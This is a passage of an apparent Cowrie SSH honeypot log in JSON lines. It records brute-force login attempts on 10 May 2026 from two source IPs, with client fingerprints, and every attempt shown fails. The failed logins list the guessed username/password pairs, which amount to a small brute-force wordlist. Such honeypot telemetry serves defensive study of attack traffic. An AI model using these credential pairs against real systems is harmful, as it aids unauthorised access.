h-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:34.930840Z","src_ip":"60.165.124.241","session":"3f84464f0f62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"openelec","message":"login attempt [root/openelec] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:35.646153Z","src_ip":"60.165.124.241","session":"3f84464f0f62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:36.886866Z","src_ip":"60.165.124.241","session":"3f84464f0f62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39154,"dst_ip":"10.17.0.5","dst_port":22,"session":"3da2769ed79e","protocol":"ssh","message":"New connection: 60.165.124.241:39154 (10.17.0.5:22) [session: 3da2769ed79e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:37.128252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:37.132926Z","src_ip":"60.165.124.241","session":"3da2769ed79e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:37.382017Z","src_ip":"60.165.124.241","session":"3da2769ed79e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"As123456","message":"login attempt [root/As123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:38.109080Z","src_ip":"60.165.124.241","session":"3da2769ed79e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:39.359607Z","src_ip":"60.165.124.241","session":"3da2769ed79e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42150,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fdfae3f7881","protocol":"ssh","message":"New connection: 60.165.124.241:42150 (10.17.0.5:22) [session: 4fdfae3f7881]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:39.602999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:39.608617Z","src_ip":"60.165.124.241","session":"4fdfae3f7881","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:39.862909Z","src_ip":"60.165.124.241","session":"4fdfae3f7881","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ss2023","message":"login attempt [root/P@ss2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:40.593763Z","src_ip":"60.165.124.241","session":"4fdfae3f7881","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:41.843783Z","src_ip":"60.165.124.241","session":"4fdfae3f7881","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45398,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee19cd0ed922","protocol":"ssh","message":"New connection: 60.165.124.241:45398 (10.17.0.5:22) [session: ee19cd0ed922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:42.091352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:42.095590Z","src_ip":"60.165.124.241","session":"ee19cd0ed922","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:42.335276Z","src_ip":"60.165.124.241","session":"ee19cd0ed922","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":19847,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec4258d800d3","protocol":"ssh","message":"New connection: 213.209.159.56:19847 (10.17.0.5:22) [session: ec4258d800d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:42.572965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:42.577641Z","src_ip":"213.209.159.56","session":"ec4258d800d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:42.659959Z","src_ip":"213.209.159.56","session":"ec4258d800d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aya","password":"aya","message":"login attempt [aya/aya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:43.059566Z","src_ip":"213.209.159.56","session":"ec4258d800d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cnp200@HW","message":"login attempt [root/cnp200@HW] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:43.073364Z","src_ip":"60.165.124.241","session":"ee19cd0ed922","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aya","password":"aya1","message":"login attempt [aya/aya1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:44.145434Z","src_ip":"213.209.159.56","session":"ec4258d800d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:44.324286Z","src_ip":"60.165.124.241","session":"ee19cd0ed922","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48100,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3814eaef88a","protocol":"ssh","message":"New connection: 60.165.124.241:48100 (10.17.0.5:22) [session: c3814eaef88a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:44.565689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:44.570179Z","src_ip":"60.165.124.241","session":"c3814eaef88a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:44.823222Z","src_ip":"60.165.124.241","session":"c3814eaef88a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aya","password":"aya123","message":"login attempt [aya/aya123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:45.230506Z","src_ip":"213.209.159.56","session":"ec4258d800d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"k9jt3d","message":"login attempt [root/k9jt3d] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:45.568874Z","src_ip":"60.165.124.241","session":"c3814eaef88a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aya","password":"aya1234","message":"login attempt [aya/aya1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:46.317087Z","src_ip":"213.209.159.56","session":"ec4258d800d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:46.814725Z","src_ip":"60.165.124.241","session":"c3814eaef88a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51082,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce985306da0f","protocol":"ssh","message":"New connection: 60.165.124.241:51082 (10.17.0.5:22) [session: ce985306da0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:47.058391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:47.062154Z","src_ip":"60.165.124.241","session":"ce985306da0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:47.313687Z","src_ip":"60.165.124.241","session":"ce985306da0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aya","password":"aya12345","message":"login attempt [aya/aya12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:47.402238Z","src_ip":"213.209.159.56","session":"ec4258d800d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zheng123","message":"login attempt [root/zheng123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:48.043523Z","src_ip":"60.165.124.241","session":"ce985306da0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:48.487848Z","src_ip":"213.209.159.56","session":"ec4258d800d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:49.281653Z","src_ip":"60.165.124.241","session":"ce985306da0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54306,"dst_ip":"10.17.0.5","dst_port":22,"session":"91c8752fa803","protocol":"ssh","message":"New connection: 60.165.124.241:54306 (10.17.0.5:22) [session: 91c8752fa803]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:49.518133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:49.522813Z","src_ip":"60.165.124.241","session":"91c8752fa803","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:49.760902Z","src_ip":"60.165.124.241","session":"91c8752fa803","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw@","message":"login attempt [root/1qazxsw@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:50.482778Z","src_ip":"60.165.124.241","session":"91c8752fa803","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:51.724819Z","src_ip":"60.165.124.241","session":"91c8752fa803","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57172,"dst_ip":"10.17.0.5","dst_port":22,"session":"df1bf12a0b33","protocol":"ssh","message":"New connection: 60.165.124.241:57172 (10.17.0.5:22) [session: df1bf12a0b33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:51.958512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:51.962884Z","src_ip":"60.165.124.241","session":"df1bf12a0b33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:52.202750Z","src_ip":"60.165.124.241","session":"df1bf12a0b33","protocol":"ssh"}
